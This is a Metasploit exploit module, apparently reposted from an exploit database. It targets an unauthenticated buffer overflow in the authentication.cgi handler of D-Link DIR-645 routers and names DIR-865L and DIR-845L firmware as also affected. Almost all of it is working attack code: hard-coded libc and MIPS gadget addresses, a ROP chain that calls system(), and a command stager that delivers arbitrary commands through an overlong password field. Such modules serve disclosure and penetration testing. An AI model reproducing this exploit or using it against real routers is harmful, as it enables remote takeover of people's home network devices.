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# D-Link authentication.cgi Buffer Overflow

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link authentication.cgi Buffer Overflow',
'Description' => %q{
This module exploits an remote buffer overflow vulnerability on several D-Link routers.
The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
long password values. The vulnerability can be exploitable without authentication. This
module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
},
'Author' =>
[
'Roberto Paleari', # Vulnerability discovery
'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other
routers
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSLE,
'References' =>
[
['OSVDB', '95951'],
['EDB', '27283'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor
web site
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'],
#vendor web site of router
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
],
'Targets' =>
[
[ 'D-Link DIR-645 1.03',
{
'Offset' => 1011,
'LibcBase' => 0x2aaf8000, #Router
#'LibcBase' => 0x40854000, # QEMU environment
'System' => 0x000531FF, # address of system
'CalcSystem' => 0x000158C8, # calculate the correct address of system
'CallSystem' => 0x000159CC, # call our system
}
]
],
'DisclosureDate' => 'Feb 08 2013',
'DefaultTarget' => 0))
end

def check
begin
res = send_request_cgi({
'uri' => "/authentication.cgi",
'method' => 'GET'
})

if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Accessing the vulnerable URL...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end

print_status("#{peer} - Exploiting...")
execute_cmdstager(
:linemax => 200,
:concat_operator => " && "
)
end

def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset']) # padding
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call
system)

# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
# .text:000159D8 21 C8 00 02 move $t9, $s0	 # $s0 - system
# .text:000159DC 09 F8 20 03 jalr $t9	 # call system
# .text:000159E0 21 20 A0 02 move $a0, $s5	 # our cmd -> into a0 as parameter for system

shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare
the parameter for system)

# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the
right address

shellcode << rand_text_alpha_upper(16) # filler in front of our command
shellcode << cmd
end

def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
uid = rand_text_alpha(4)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/authentication.cgi",
'cookie' => "uid=#{uid}",
'encode_params' => false,
'vars_post' => {
'uid' => uid,
'password' => rand_text_alpha(3) + shellcode,
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-06-27]

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